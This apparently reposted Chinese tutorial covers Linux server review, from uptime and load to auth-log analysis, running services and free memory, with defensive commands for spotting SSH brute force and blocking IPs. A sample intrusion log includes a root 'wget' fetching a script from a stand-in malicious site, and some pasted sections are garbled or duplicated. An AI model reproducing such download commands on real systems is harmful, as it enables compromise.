linux學習(五)(服務器審查,正常運行時間負載,身份驗證日志,正在運行的服務,評估可用內存)

服務器審查

在 Linux 中審查服務器的過程包括評估服務器的性能、安全性和配置,以確定需要改進的領域或任何潛在問題。審查的范圍可以包括檢查安全增強功能、檢查日志文件、審查用戶帳戶、分析服務器的網絡配置以及檢查其軟件版本。

Linux 以其穩定性和安全性而聞名,已成為全球許多網絡和服務器后端的主打產品。根據您使用的發行版,Linux 提供了多種工具和命令來執行全面的服務器審查。

# A command often used for showing memory information
free -m# A command for showing disk usage
df -h# A command for showing CPU load
uptime

系統管理員和 DevOps 專業人員定期進行服務器審查以確保服務器的最佳性能、安全性和可靠性是一項關鍵任務。

Linux 服務器審查就像給服務器做“全身體檢”——檢查它的健康狀況、安全漏洞和性能瓶頸,確保它穩定高效地工作。以下是通俗易懂的步驟和常用命令:


一、基礎檢查:看“生命體征”

就像測體溫、血壓,先看服務器的基本狀態:

  1. 內存使用(查是否“貧血”):

    free -m  # 查看內存總量、已用、空閑(單位MB)
    • 關鍵指標available(可用內存)是否充足。

  2. 磁盤空間(查“胃容量”):

    df -h  # 查看各磁盤分區的使用情況(單位易讀:GB/MB)
    • 重點關注Use%(使用率)超過 80% 需清理。

  3. CPU 負載(查“心臟壓力”):

    uptime      # 查看負載平均值(1/5/15分鐘)
    top 或 htop  # 實時監控CPU占用高的進程(按q退出)
    • 負載解讀:負載值 ≤ CPU核心數 為正常(如4核CPU負載≤4)。


二、安全審查:防“小偷入侵”

檢查門鎖(防火墻)、訪客記錄(日志)和可疑人員(用戶賬戶):

  1. 用戶賬戶檢查(查“誰有鑰匙”):

    sudo less /etc/passwd      # 查看所有用戶
    sudo less /etc/shadow      # 查看用戶密碼狀態(需權限)
    who                        # 查看當前登錄用戶
    last                       # 查看登錄歷史
    • 重點排查:陌生用戶、空密碼賬戶、root遠程登錄。

  2. 防火墻與端口(查“門窗是否關好”):

    sudo ufw status          # 查看防火墻狀態(Ubuntu)
    sudo iptables -L -n -v  # 查看詳細防火墻規則(通用)
    ss -tuln                # 查看所有監聽端口(替代netstat)
    • 風險端口:關閉不必要的端口(如默認的22端口可改為非標準)。

  3. 日志分析(查“監控錄像”):

    sudo tail -100 /var/log/auth.log  # 查看認證日志(SSH登錄記錄)
    sudo journalctl -u sshd          # 查看SSH服務日志(Systemd系統)
    grep "Failed" /var/log/auth.log  # 過濾登錄失敗的記錄(防暴力破解)
    🔹 如何檢測可疑攻擊?
    🔸 1?? 統計失敗登錄次數:
    sh
    復制
    編輯
    grep "Failed" /var/log/auth.log | wc -l
    📌 作用:統計包含 "Failed" 的行數,即失敗嘗試次數。
    🔍 如果失敗次數異常多(比如幾百次),可能是暴力破解!🔸 2?? 查看攻擊來源 IP
    sh
    復制
    編輯
    grep "Failed" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr
    📌 作用:解析 Failed password for ... from 192.168.1.100 這類日志
    提取攻擊 IP
    統計每個 IP 出現次數,按次數降序排序
    🌟 示例輸出復制
    編輯
    100 203.0.113.42
    50 192.168.1.100
    🔍 如果某個 IP 失敗次數異常多,說明它在惡意嘗試登錄!🔸 3?? 阻止攻擊 IP
    如果發現惡意 IP,可以用 iptables 或 fail2ban 進行封鎖:sh
    復制
    編輯
    sudo iptables -A INPUT -s 203.0.113.42 -j DROP
    📌 作用:阻止 203.0.113.42 訪問服務器(徹底封鎖)。🔹 總結
    命令	作用
    grep "Failed" /var/log/auth.log	查找登錄失敗的記錄
    `grep "Failed" /var/log/auth.log	wc -l`
    `grep "Failed" /var/log/auth.log	awk '{print $(NF-3)}'
    sudo iptables -A INPUT -s <IP> -j DROP	封鎖攻擊 IP
    🔹 結論
    ? 這條 grep 命令是檢測服務器是否遭遇 SSH 暴力破解 的第一步。
    ? 后續可以結合 fail2ban 自動封鎖惡意 IP,提高服務器安全性。

三、性能調優:治“慢性病”

檢查拖慢服務器的“慢性問題”:

  1. 進程與服務(查“誰在吃資源”):

    ps aux --sort=-%cpu | head  # 按CPU使用率排序進程
    systemctl list-units --type=service  # 查看所有服務
    • 優化建議:停用不必要的服務(如舊版本MySQL、多余容器)。

  2. 定時任務(查“自動任務”):

    crontab -l              # 查看當前用戶的定時任務
    ls /etc/cron.*          # 查看系統級定時任務
    • 風險點:異常任務(如挖礦腳本)。

  3. 內核參數(查“身體機能”):

    sysctl -a | grep somaxconn  # 查看TCP連接隊列大小(示例)
     
    • 常見優化:調整TCP緩沖區、文件打開數(需備份配置文件)。


四、備份與更新:打“疫苗”

確保系統安全和數據可恢復:

  1. 檢查更新(打“補丁”):

    sudo apt update && sudo apt upgrade  # Debian/Ubuntu
    sudo yum update                     # CentOS/RHEL
     
    • 定期更新:修復安全漏洞,升級軟件版本。

  2. 驗證備份(查“保險柜”):

    ls -l /backup/            # 查看備份文件
    crontab -l | grep backup  # 檢查備份任務是否設置
     
    • 關鍵點:備份是否完整、能否恢復。


五、自動化工具推薦

  • 安全掃描lynis audit system(開源安全審計工具)。

  • 監控告警Prometheus?+?Grafana(監控CPU、內存、磁盤)。

  • 日志分析ELK(Elasticsearch, Logstash, Kibana)。


舉個實際例子

假設服務器變慢,按以下步驟排查:

  1. 快速診斷

    uptime; free -m; df -h; top
     
    • 發現磁盤滿了 → 用?du -sh /* | sort -rh | head?找大文件。

  2. 檢查登錄記錄

    uptime; free -m; df -h; top
     
    • 發現陌生IP → 封鎖IP,加強SSH密鑰登錄。


通過定期“體檢”,你的服務器會變得更健康、更安全!🚀

正常運行時間負載

在管理 Linux 服務器時,一個值得密切關注的關鍵指標是“正常運行時間”。Linux 中的命令提供有關系統在不關閉或重新啟動的情況下運行了多長時間的信息,以及系統負載平均值。uptime

系統負載平均值是一個重要的指標,它說明了計算機系統執行的計算工作量。它反映了有多少進程正在排隊等待獲取 CPU 時間。系統負載平均值通常顯示 1 分鐘、5 分鐘和 15 分鐘的持續時間。

通過持續分析 Linux 服務器上的正常運行時間和負載,管理員可以識別系統使用模式、診斷可能的性能問題并確定有效的容量規劃策略。如果服務器的平均負載較高,則可能表明系統資源不足或配置錯誤,從而導致性能降低或系統無響應。

以下是該命令及其輸出的示例:uptime

$ uptime10:58:35 up 2 days, 20 min,  1 user,  load average: 0.00, 0.01, 0.05

在上面的輸出中,“2 days, 20 min” 告訴我們系統運行了多長時間,而 “0.00, 0.01, 0.05” 分別顯示了系統在過去 1 分鐘、5 分鐘和 15 分鐘內的平均負載。

uptime?是 Linux 中一個快速查看服務器健康狀態的命令,它能告訴你兩件關鍵事:服務器運行了多久當前系統的“忙碌程度”。就像汽車的儀表盤,一眼就能看出是否需要“檢修”!


命令輸出示例

$ uptime10:58:35 up 2天, 20分鐘,  1用戶,  平均負載: 0.00, 0.01, 0.05
 

翻譯成大白話

  • 10:58:35:現在是上午10點58分35秒(系統時間)。

  • up 2天, 20分鐘:服務器已經連續運行了2天零20分鐘沒重啟。

  • 1用戶:當前有1個用戶登錄(比如通過SSH)。

  • 平均負載: 0.00, 0.01, 0.05:過去1分鐘、5分鐘、15分鐘的“負載指數”。


“平均負載”通俗解釋

你可以把負載(Load Average)想象成超市收銀臺的排隊情況

  • 負載值 = 正在結賬的顧客 + 排隊等待的顧客

  • 假設服務器是4個收銀臺(4核CPU)

    • 負載 ≤4:顧客來了能立刻結賬,無需排隊(健康)。

    • 負載 >4:開始排隊,數值越大隊伍越長(可能卡頓)。

  • 三個數值的意義

    • 0.00(1分鐘負載):剛剛的排隊情況(最敏感,可能突發高峰)。

    • 0.01(5分鐘負載):短期的平均排隊情況。

    • 0.05(15分鐘負載):長期的趨勢(更穩定)。


如何判斷負載是否過高?

  • 單核CPU:負載超過1.0 表示過載。

  • 4核CPU:負載超過4.0 表示滿負荷。

  • 舉例

    • 負載: 3.50, 2.10, 0.80(4核CPU):

      • 最近1分鐘負載3.5?→ 當前較忙,但未超4核能力。

      • 過去15分鐘負載0.8?→ 長期較空閑。


負載高的常見原因

  1. CPU密集型任務:代碼死循環、大量計算。

  2. 磁盤I/O過高:頻繁讀寫大文件、數據庫查詢慢。

  3. 內存不足:頻繁交換內存到磁盤(SWAP)。

  4. 大量網絡請求:DDoS攻擊、高并發訪問。


下一步操作建議

  1. 快速定位問題

    top                # 查看實時進程(按P按CPU排序,按M按內存排序)
    htop               # 更友好的交互式監控工具(需安裝)
    iostat -x 1        # 查看磁盤IO情況(%util接近100%表示磁盤滿負荷)
     


    (htop界面示例:紅框標出高負載進程)

  2. 針對性解決

    • CPU高:結束異常進程(kill 進程ID)、優化代碼邏輯。

    • 磁盤IO高:減少日志輸出、升級SSD、檢查數據庫索引。

    • 內存不足:關閉不需要的服務、增加物理內存、優化程序內存泄漏。


實際案例

場景:負載突然飆升至?8.00(4核CPU服務器)。
排查

  1. 用?top?發現一個?python?進程占用 200% CPU(表示占滿2個核)。

  2. 檢查發現是爬蟲程序死循環 → 優化代碼或限制資源。

  3. 負載降至?2.00,恢復健康。


通過?uptime?快速判斷服務器壓力,結合其他工具定位問題,就像醫生用體溫計+聽診器快速診斷病情一樣高效! 🚑

身份驗證日志

在處理 Linux 服務器及其維護時,需要定期審查的最關鍵組件之一是身份驗證日志。這些日志通常位于 /var/log/auth.log(對于基于 Debian 的發行版)或 /var/log/secure(對于 Red Hat 和 CentOS)中,記錄服務器上發生的所有與身份驗證相關的事件和活動。其中包括系統登錄、密碼更改和發出的 sudo 命令等。

身份驗證日志是監控和分析 Linux 服務器安全性的寶貴工具。它們可以指示暴力登錄攻擊、未經授權的訪問嘗試和任何可疑行為。定期分析這些日志是確保服務器安全性和數據完整性的一項基本任務。

以下是如何使用命令查看身份驗證日志的最后幾個條目的示例:tail

tail /var/log/auth.log

熟悉閱讀和理解身份驗證日志,因為這是確保服務器安全的重要方法。

Linux 身份驗證日志就像服務器的“安全監控錄像”,詳細記錄了誰在什么時候、以什么方式登錄過系統,以及做了哪些需要權限的操作。它是排查黑客入侵、追蹤異常行為的“破案神器”!以下是通俗解讀:


一、日志文件在哪?

  • Debian/Ubuntu/var/log/auth.log

  • RedHat/CentOS/var/log/secure

  • 查看最新日志(實時監控):

    sudo tail -f /var/log/auth.log  # 實時滾動顯示最新日志(按Ctrl+C退出)
     

二、日志里記錄了什么?

1???SSH 登錄記錄
  • 登錄成功

    May 25 14:30:01 server sshd[1234]: Accepted password for root from 192.168.1.100 port 22 ssh2
     
    • 關鍵信息:用戶?root?從 IP?192.168.1.100?通過密碼登錄成功。

  • 登錄失敗

    May 25 14:31:05 server sshd[5678]: Failed password for invalid user hacker from 203.0.113.5 port 22 ssh2
     
    • 危險信號:非法用戶?hacker?從?203.0.113.5?嘗試密碼登錄失敗!


2???sudo 命令記錄
  • 用戶提權操作

    May 25 15:00:00 server sudo:   alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/apt update
     
    • 解讀:用戶?alice?用?sudo?以?root?身份執行了?apt update


3???用戶賬戶變更
  • 創建/刪除用戶

    May 25 16:00:00 server useradd[2345]: new user: name=test, UID=1001, GID=1001
    May 25 16:05:00 server userdel[3456]: delete user 'test'
     
    • 監控重點:非管理員創建的未知用戶可能是后門賬戶!


三、如何快速分析日志?

1???找“暴力破解”攻擊
  • 統計某個 IP 的失敗登錄次數:

    grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr
    # 輸出示例:
    # 100 203.0.113.5
    # 2   192.168.1.100
     
    • 結果解讀:IP?203.0.113.5?嘗試了 100 次密碼,極可能是攻擊者!

2???檢查可疑的 sudo 操作
  • 查看所有 sudo 提權記錄:

    grep "sudo:" /var/log/auth.log
     
3???追蹤用戶登錄歷史
  • 查看所有成功登錄記錄:

    grep "Accepted" /var/log/auth.log
     

四、安全加固建議

  1. 封禁暴力IP

    sudo fail2ban-client status sshd  # 查看被禁IP(需安裝fail2ban)
    sudo iptables -A INPUT -s 203.0.113.5 -j DROP  # 手動封禁IP
     
  2. 禁用密碼登錄,改用SSH密鑰

    # 修改SSH配置 /etc/ssh/sshd_config
    PasswordAuthentication no
    PermitRootLogin no
     
  3. 設置日志監控告警(如用?logwatch?或?ELK?堆棧)。


實際案例:發現入侵痕跡

日志片段

May 25 03:00:00 server sshd[1111]: Failed password for root from 203.0.113.5 port 22
May 25 03:00:01 server sshd[1112]: Accepted password for root from 203.0.113.5 port 22
May 25 03:05:00 server sudo:   root : TTY=pts/0 ; COMMAND=/usr/bin/wget http://惡意網站.com/x.sh
 

分析

  1. 攻擊者從?203.0.113.5?暴力破解了 root 密碼。

  2. 登錄后下載了可疑腳本?x.sh(可能是木馬)。
    應對:立即封鎖IP,檢查系統后門,重置root密碼!


通過定期“翻看”這些日志,你就像服務器的保安隊長,能第一時間揪出可疑分子!🔍

正在運行的服務

Linux 服務器因其穩定性和靈活性而廣受歡迎,這些因素使它們成為企業和組織在管理各種服務時的首選。在 Linux 服務器下運行的服務范圍從 Web 服務到數據庫服務、DNS 服務器、郵件服務器等。

作為 Linux 系統管理員,定期查看這些正在運行的服務以管理資源、檢查其狀態和解決問題,從而確保服務器的運行狀況和性能非常重要。

Linux 有多種工具可以實現此目的,例如:、、 和 。systemctlservicenetstatsslsof

例如,該命令在 Linux 系統上廣泛使用,用于列出所有正在運行的服務:systemctl

systemctl --type=service 

此命令將顯示所有活動服務的列表及其當前狀態。它是服務器管理的必需品,應該成為任何 Linux 系統管理員工具箱的一部分。

在 Linux 服務器中,**“正在運行的服務”**就像一臺多功能機器上的各種“工作模塊”——比如負責網站服務的“模塊”、管理數據庫的“模塊”、處理郵件的“模塊”等。作為管理員,你需要知道哪些模塊正在運行、是否健康,以及它們占用了多少資源。以下是通俗易懂的檢查方法:


一、查看服務列表:用“服務遙控器”

1.?systemctl?命令(主流工具,適用于大多數新系統)
  • 列出所有正在運行的服務

    systemctl list-units --type=service --state=running
     

    輸出示例

    UNIT                LOAD   ACTIVE SUB     DESCRIPTION
    nginx.service       loaded active running Nginx Web Server
    mysql.service       loaded active running MySQL Database
    ssh.service         loaded active running OpenSSH Server
     
    • 關鍵信息ACTIVE?顯示服務狀態(active?表示正常運行)。

  • 檢查某個服務的詳細狀態(如Nginx):

    systemctl status nginx
     

    輸出示例

    ● nginx.service - Nginx Web ServerLoaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)Active: active (running) since Mon 2024-05-27 10:00:00 CST; 2 days agoMain PID: 1234 (nginx)CGroup: /system.slice/nginx.service├─1234 nginx: master process /usr/sbin/nginx└─1235 nginx: worker process
     
    • 關注點Active(運行狀態)、Main PID(進程ID)、日志片段。


2.?service?命令(舊系統兼容工具,操作更簡單)
  • 列出所有服務(僅顯示部分):

    service --status-all
     

    輸出示例

    [ + ]  nginx
    [ - ]  mysql
    [ ? ]  docker
     
    • 符號解讀+?表示運行中,-?表示已停止,??表示狀態未知。


二、檢查網絡服務:用“網絡監控器”

1.?ss?或?netstat?命令(查看服務監聽的端口)
  • 列出所有監聽端口的服務

    ss -tulnp  # 推薦使用(更高效)
    # 或
    netstat -tulnp  # 傳統命令(逐漸被ss取代)
     

    輸出示例

    Netid  State   Recv-Q  Send-Q  Local Address:Port  Peer Address:Port
    tcp    LISTEN  0       128     0.0.0.0:80          0.0.0.0:*        users:(("nginx",pid=1234,fd=6))
    tcp    LISTEN  0       128     127.0.0.1:3306      0.0.0.0:*        users:(("mysqld",pid=5678,fd=10))
     
    • 關鍵信息

      • 0.0.0.0:80?→ Nginx 在 80 端口監聽(提供 Web 服務)。

      • 127.0.0.1:3306?→ MySQL 只允許本機訪問數據庫(更安全)。


2.?lsof?命令(查看服務打開的文件/端口)
  • 查看某個服務(如Nginx)使用的資源

    sudo lsof -p $(pgrep nginx)  # 需安裝 lsof
    
     

    輸出示例

    COMMAND  PID   USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
    nginx   1234   root  cwd    DIR  253,1     4096    2 /
    nginx   1234   root  txt    REG  253,1  1160328 1234 /usr/sbin/nginx
    nginx   1234   root    6u  IPv4  12345      0t0  TCP *:http (LISTEN)
     
    • 解讀:可以看到 Nginx 的進程打開了哪些文件、監聽了哪些端口。


三、管理服務的常用操作

1. 啟動/停止/重啟服務

sudo systemctl start nginx    # 啟動
sudo systemctl stop nginx     # 停止
sudo systemctl restart nginx # 重啟
 
2. 禁止服務開機自啟

sudo systemctl disable nginx
3. 檢查服務是否開機自啟

systemctl is-enabled nginx
 

四、實際場景案例

問題:發現服務器 8080 端口被未知服務占用,如何排查?
  1. 查看監聽 8080 端口的服務

    ss -tulnp | grep ':8080'
    # 輸出:users:(("mystery",pid=9999,fd=3))
     
  2. 根據 PID 查找服務名

    ps -p 9999 -o comm=
    # 輸出:mystery-service
     
  3. 停止并禁用該服務

    sudo systemctl stop mystery-service
    sudo systemctl disable mystery-service
     

五、總結

  • 定期檢查服務:關閉不必要的服務,節省資源、提升安全。

  • 重點關注

    • 陌生服務(可能是惡意軟件)。

    • 監聽在公網 IP 的服務(如?0.0.0.0:3306?可能暴露數據庫)。

  • 工具選擇

    • 快速概覽用?systemctl,網絡分析用?ss,深度排查用?lsof

掌握這些命令,你就能像“服務器醫生”一樣,隨時診斷服務的健康狀態! 🩺

評估可用內存

在 Linux 環境中運行多個應用程序時,持續跟蹤系統運行狀況對于平穩運行至關重要。在服務器檢查過程中評估可用內存是系統管理員的常見做法。這涉及使用 Linux 提供的各種命令行工具,例如 、 和 。這些可以幫助監控內存使用情況和性能指標,確保系統不會過載,并為重要應用程序提供足夠的資源。freevmstattop

例如,該命令給出了總體內存使用情況的摘要,包括總已用內存和可用內存、交換內存和緩沖區/緩存內存。下面是一個示例:free

$ free -htotal        used        free      shared  buff/cache   available
Mem:           15Gi       10Gi       256Mi       690Mi       5.3Gi       4.2Gi
Swap:         8.0Gi       1.3Gi       6.7Gi

在此輸出中,'-h' 選項用于以人類可讀的格式顯示結果。了解 Linux 服務器中的內存使用狀態有助于保持最佳服務器性能并解決任何潛在問題

free?是 Linux 中一個查看內存使用情況的命令,可以簡單理解為“內存體檢報告”。它能告訴你:
內存還剩多少?被誰用了?是否快用光了?
就像手機里的“存儲空間”功能,幫你判斷是否需要清理垃圾或升級硬件!


用?free -h?看內存(人類友好模式)

$ free -htotal        used        free      shared  buff/cache   available
Mem:           15Gi       10Gi       256Mi       690Mi       5.3Gi       4.2Gi
Swap:         8.0Gi       1.3Gi       6.7Gi
 
通俗解釋各部分含義
  1. Mem(物理內存)

    • total(總內存):15Gi → 服務器裝了?15G 內存條

    • used(已用):10Gi →?被程序直接吃掉的內存(如運行中的網站、數據庫)。

    • free(空閑):256Mi →?完全沒被使用的內存(看著少,但別慌!)。

    • buff/cache(緩存):5.3Gi →?系統借來當臨時倉庫的內存(存磁盤讀寫數據,不夠時可快速釋放)。

    • available(實際可用):4.2Gi →?真正還能用的內存?≈ free + buff/cache 可釋放部分。

  2. Swap(交換內存)

    • total:8Gi →?硬盤上劃出的虛擬內存(速度慢,應急用)。

    • used:1.3Gi →?正在使用的虛擬內存(如果這個值持續很高,說明物理內存不足了!)。


如何判斷內存是否夠用?

  1. 重點看?available?列

    • 4.2Gi?表示當前還能支撐新程序運行的內存。

    • 如果?available?接近?0,說明內存快耗盡了,服務器可能會卡頓甚至崩潰!

  2. Swap 使用情況

    • 少量使用 Swap(如 10% 以內)是正常的。

    • Swap 使用量持續增長?→ 物理內存不足,需優化程序或加內存條!


下一步操作建議

? 作用

📌 示例輸出(部分字段解釋)

 

plaintext

復制編輯

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.1 164456 9624 ? Ss 10:00 0:01 systemd www-data 1345 1.2 10.3 409600 84032 ? S 10:05 3:42 apache2 mysql 2345 5.3 18.2 204800 150832 ? Ssl 10:06 10:15 mysqld

字段含義
USER進程所屬用戶
PID進程 ID
%CPUCPU 占用率
%MEM內存占用率
VSZ進程占用的虛擬內存(KB)
RSS進程占用的物理內存(KB)
TTY終端設備
STAT進程狀態
START進程啟動時間
TIME進程累計 CPU 使用時間
COMMAND進程的命令

🔹 2?? --sort=-%mem —— 按內存使用率降序排序

 

sh

復制編輯

--sort=-%mem

  1. 釋放緩存(臨時救急):

    sync && echo 3 | sudo tee /proc/sys/vm/drop_caches  # 清理緩存(不影響程序運行)
    📌 sync && echo 3 | sudo tee /proc/sys/vm/drop_caches 詳解
    該命令用于清理 Linux 系統的緩存,但不會影響正在運行的程序。🔹 1?? sync —— 確保數據寫入磁盤
    ? 作用:sync 命令會強制將所有待寫入磁盤的數據(緩存中的數據)真正寫入磁盤,確保數據不會因為清理緩存而丟失。🔹 2?? echo 3 —— 生成緩存清理指令
    ? 作用:echo 命令用于輸出 3,這里 3 是一個指令參數,用于通知 Linux 清除所有類型的緩存。數值	作用
    1	只清除 頁緩存(Page Cache)
    2	只清除 目錄項和 inode 緩存
    3	清除所有緩存(推薦使用)🔹 3?? |(管道)—— 連接 echo 和 tee
    echo 3 | sudo tee /proc/sys/vm/drop_caches
    ? 作用:
    echo 3 生成指令
    | 管道符:將 echo 3 的輸出傳遞給 tee 命令🔹 4?? sudo tee /proc/sys/vm/drop_caches —— 執行緩存清理
    sudo tee /proc/sys/vm/drop_caches
    ? 作用:
    sudo —— 以 超級用戶權限 執行(普通用戶無權修改 /proc/sys/vm/drop_caches)。
    tee —— 既輸出內容到終端,也寫入文件:
    /proc/sys/vm/drop_caches 是 Linux 內核參數文件,寫入 3 之后,系統會執行緩存清理。
    tee 作用類似于 >,但可以同時顯示和寫入文件,> 直接寫入而不顯示。🔹 5?? sync && echo 3 | sudo tee /proc/sys/vm/drop_caches 總結
    ? 完整流程:
    sync 確保所有數據寫入磁盤,防止未保存數據丟失。
    echo 3 生成清理指令。
    | 把指令傳遞給 tee。
    sudo tee /proc/sys/vm/drop_caches 清理所有緩存。🔹 6?? 注意事項
    📌 不會影響正在運行的程序:
    該命令僅清理緩存,不會影響應用程序的正常運行。
    清理緩存后,系統可能會變慢,因為需要重新加載數據到緩存。📌 適用于哪些場景?
    釋放內存:如果 Linux 系統長時間運行,占用大量緩存,可以手動釋放緩存。
    測試性能:在進行性能測試時,希望得到不受緩存影響的結果。
    查看真實的可用內存:緩存占用內存時,可釋放后查看真實的空閑內存。🔹 7?? 擴展:如何驗證緩存清理?
    📌 清理緩存前后,查看內存占用
    free -h    # 查看內存使用情況
    sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
    free -h    # 再次查看變化
    🔹 清理前:cached 部分較高
    🔹 清理后:cached 變少,free 變多 ?🔹 8?? 更安全的寫法
    為了防止錯誤,可以使用更安全的方法:
    sudo sh -c "echo 3 > /proc/sys/vm/drop_caches"
    ? 區別:sudo 只影響 sh -c 里的 echo,避免 tee 額外權限問題。
    🔹 9?? 總結
    命令部分	作用
    sync	將緩存數據寫入磁盤,防止數據丟失
    echo 3	生成清理指令(3 代表清理所有緩存)
    `	`
    sudo tee /proc/sys/vm/drop_caches	執行緩存清理,釋放內存
    💡 這個命令適用于手動釋放緩存,特別是在長時間運行的 Linux 服務器上。 

  2. 揪出“內存大戶”

    top               # 按 M 按內存排序(找占用高的進程)
    htop              # 更友好的界面(需安裝)
    ps aux --sort=-%mem | head  # 列出前10內存消耗進程
ps (Process Status,進程狀態) 是 Linux 用于查看進程信息的命令。
aux 選項組合:
a (All Users) → 顯示所有用戶的進程(不僅限于當前用戶)。
u (User Format) → 以用戶友好的格式顯示,包括 CPU、內存、進程名等信息。
x (Including Daemons) → 顯示無終端控制的進程(如后臺服務)。
--sort=-%mem:按 %MEM 字段(內存占用)降序排序(從高到低)。
- 號表示降序(不加 - 號則是升序)。
長期優化:關閉不需要的服務(如多余容器、測試環境)。優化程序內存泄漏(如 Java 的堆內存設置)。升級物理內存(簡單粗暴但有效)。

場景available?只剩 500MB,Swap 用了 6Gi。
分析

  • 物理內存嚴重不足,系統頻繁使用 Swap(速度慢,性能差)。
    解決

  1. 用?top?發現一個?java?進程占用了 8Gi 內存。

  2. 聯系開發團隊優化代碼或調整 JVM 內存參數。

  3. 臨時重啟該服務釋放內存,長期計劃加內存條。


通過?free -h,你就像給服務器做了個“血常規”,一眼看出內存健康狀態! 🩺

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/71785.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/71785.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/71785.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Redis- 大key

大key 什么是大key問題大key的危害大key的識別方法大key問題的解決方案數據結構優化與拆分壓縮與序列化優化預防與監控機制 什么是大key問題 大Key問題是指在Redis等內存數據庫中&#xff0c;某個Key對應的value數據結構過大&#xff0c;通常是指單個Key的大小超過10KB甚至達到…

C語言_數據結構總結6:鏈式棧

純c語言代碼&#xff0c;不涉及C 順序棧的實現&#xff0c;歡迎查看這篇文章&#xff1a;C語言_數據結構總結5&#xff1a;順序棧-CSDN博客 0. 結構單元 #include<stdio.h> #include<stdlib.h> typedef int ElemType; typedef struct Linknode { ElemType…

新品速遞 | 多通道可編程衰減器+矩陣系統,如何破解復雜通信測試難題?

在無線通信技術快速迭代的今天&#xff0c;多通道可編程數字射頻衰減器和衰減矩陣已成為測試領域不可或缺的核心工具。它們憑借高精度、靈活配置和強大的多通道協同能力&#xff0c;為5G、物聯網、衛星通信等前沿技術的研發與驗證提供了關鍵支持。從基站性能測試到終端設備校準…

AI自動化應用的影響

生產力的迭代也終將伴隨著一代人的落幕。 2025年是AI應用爆發的開局之年&#xff0c;預計3-5年現有生產關系將出現顛覆性改革。 AI自動化對經濟和就業的影響是一個復雜且多維的問題&#xff0c;其長期影響取決于技術進步、政策調控、社會適應能力等多重因素的綜合作用。以下從技…

潤開鴻重磅首發基于“RISC-V+OpenHarmony+星閃”的“鴻銳”AI開發平臺

潤開鴻重磅首發基于“RISC-VOpenHarmony星閃”的“鴻銳”AI開發平臺 2月28日&#xff0c;2025中國RISC-V生態大會在北京中關村國際創新中心隆重召開。作為領先的鴻蒙生態專業技術公司和終端操作系統發行版提供商&#xff0c;以及不斷推進基于RISC-V與OpenHarmony全棧開源生態構…

Java 深度復制對象:從基礎到實戰

目錄 一、深度復制的概念二、實現深度復制的方法1. 使用序列化2. 手動實現深度復制 三、總結 在 Java 編程中&#xff0c;對象的復制是一個常見的需求。然而&#xff0c;簡單的復制操作&#xff08;如直接賦值&#xff09;只會復制對象的引用&#xff0c;而不是創建一個新的對象…

C++ Primer 交換操作

歡迎閱讀我的 【CPrimer】專欄 專欄簡介&#xff1a;本專欄主要面向C初學者&#xff0c;解釋C的一些基本概念和基礎語言特性&#xff0c;涉及C標準庫的用法&#xff0c;面向對象特性&#xff0c;泛型特性高級用法。通過使用標準庫中定義的抽象設施&#xff0c;使你更加適應高級…

FFmpeg-chapter7和chapter8-使用 FFmpeg 解碼視頻(原理篇和實站篇)

解碼流程如下圖 流程&#xff1a;首先&#xff0c;通過 avcodec_alloc_context3(nullptr) 分配一個 AVCodecContext 結構體&#xff0c;然后使用 avcodec_parameters_to_context 將參數復制到上下文中&#xff0c;接著通過 avcodec_find_decoder 查找指定的解碼器&#xff0c;并…

2025 docker安裝TiDB數據庫

1.確保安裝了docker和docker-compose sudo curl -L "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-composesudo chmod x /usr/local/bin/docker-compose2.編寫 Docker Compose 文…

定制化開發的WooCommerce獨立站商城更安全

定制化開發的WooCommerce獨立站商城在安全性、交易風險控制以及整體用戶體驗方面有顯著優勢。以下是定制化開發在這些方面的具體表現&#xff1a; 1. 安全性更高 定制化開發允許開發者從底層架構開始設計和優化&#xff0c;確保網站的安全性。以下是具體表現&#xff1a; (1…

CSS【實戰】模擬 html 的 title 屬性(鼠標懸浮顯示提示文字)

效果 原理 提示內容的定位&#xff1a;子絕父相鼠標懸浮前&#xff0c;提示內容visibility: hidden;通過 :hover 觸發鼠標懸浮樣式&#xff0c;提示內容變為 visibility: visible; 代碼 <!DOCTYPE html> <html lang"en"><head><meta charset&qu…

K8s控制器Deployment詳解

回顧 ReplicaSet 控制器,該控制器是用來維護集群中運行的 Pod 數量的&#xff0c;但是往往在實際操作的時候&#xff0c;我們反而不會去直接使用 RS&#xff0c;而是會使用更上層的控制器&#xff0c;比如說 Deployment。 Deployment 一個非常重要的功能就是實現了 Pod 的滾動…

【MYSQL數據庫異常處理】執行SQL語句報超時異常

MYSQL執行SQL語句異常&#xff1a;The last packet successfully received from the server was 100,107 milliseconds ago. The last packet sent successfully to the server was 100,101 milliseconds ago. 這個錯誤表明 MySQL 服務器與 JDBC 連接之間的通信超時了。通常由…

HJ C++11 Day2

Initializer Lists 對于一個類P class P{P(int a, int b){cout << "P(int, int), a" << a << ", b " << b << endl;}P(initializer_list<int> initlist){cout << "P(initializer_list<int>), val…

樹莓派5首次開機保姆級教程(無顯示器通過VNC連接樹莓派桌面)

第一次開機詳細步驟 步驟一&#xff1a;樹莓派系統燒錄1 搜索打開燒錄軟件“Raspberry Pi Imager”2 選擇合適的設備、系統、SD卡3 燒錄配置選項 步驟二&#xff1a;SSH遠程樹莓派1 樹莓派插電2 網絡連接&#xff08;有線或無線&#xff09;3 確定樹莓派IP地址 步驟三&#xff…

裝飾器模式--RequestWrapper、請求流request無法被重復讀取

